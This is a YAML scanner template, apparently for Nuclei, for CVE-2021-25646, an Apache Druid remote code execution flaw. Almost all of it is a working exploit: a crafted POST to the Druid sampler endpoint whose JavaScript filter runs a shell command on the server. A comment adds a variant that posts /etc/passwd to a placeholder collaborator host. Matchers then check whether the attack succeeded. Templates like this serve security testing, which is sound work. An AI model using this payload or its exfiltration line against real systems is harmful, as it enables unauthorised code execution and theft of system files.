52 lines
2.3 KiB
YAML
52 lines
2.3 KiB
YAML
id: CVE-2021-25646
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info:
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name: Apache Druid RCE
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author: pikpikcu
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severity: critical
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reference: https://paper.seebug.org/1476/
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description: |
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Apache Druid is a column-oriented open source distributed data storage written in Java, designed to quickly obtain large amounts of event data and provide low-latency queries on the data.
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Apache Druid lacks authorization and authentication by default. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
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tags: cve,cve2021,apache,rce
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requests:
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- raw:
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- |
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POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Content-Type: application/json
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Content-Length: 1006
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Connection: close
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{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
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"function": "function(value){return java.lang.Runtime.getRuntime().exec('wget example.com')}",
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"dimension": "added",
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"": {
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"enabled": "true"
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}
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}
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}
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},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
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# To read system Files, replace (wget example.com) with below payload
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# wget --post-file /etc/passwd http://xxxxxxx.burpcollaborator.net
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "application/json"
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part: header
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condition: and
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- type: regex
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regex:
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- "numRowsRead"
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- "numRowsIndexed"
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part: body
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condition: and
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